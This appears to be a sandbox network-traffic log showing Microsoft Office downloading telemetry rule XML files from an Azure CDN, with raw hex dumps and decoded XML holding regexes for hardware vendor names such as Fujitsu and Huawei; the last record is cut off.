Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:02 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114502Z-r197bdfb6b4jlq9hb8xf0re6t40000000230000000001dgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:02 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9b05f8c0-e01e-0020-40f2-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114502Z-15b8d89586f5s5nz3ffrgxn5ac00000002m0000000005en5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:02 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:02 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114502Z-16849878b78bcpfn2qf7sm6hsn00000003mg000000006dwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:02 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f981d888-e01e-0099-4d18-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114502Z-r197bdfb6b466qclztvgs64z1000000003h0000000001uc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:03 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114503Z-16849878b78km6fmmkbenhx76n000000017g00000000cgem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:03 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114503Z-r197bdfb6b4hsj5bywyqk9r2xw00000003c00000000048ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:03 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114503Z-16849878b78qf2gleqhwczd21s000000027g0000000035zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:03 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114503Z-16849878b78smng4k6nq15r6s400000003dg00000000ch6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:03 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:03 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 73bfd404-001e-0066-7fd4-26561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114503Z-17c5cb586f672xmrz843mf85fn00000000ug000000001zn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:04 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 66384a0c-801e-002a-112b-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114504Z-15b8d89586f8nxpt6ys645x5v00000000340000000005xd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:04 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: ff743265-301e-000c-1ff2-24323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114504Z-r197bdfb6b466qclztvgs64z1000000003bg000000009t7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 96e16e7c-301e-000c-53ef-25323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114504Z-r197bdfb6b4wmcgqdschtyp7yg00000001s000000000aq7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> 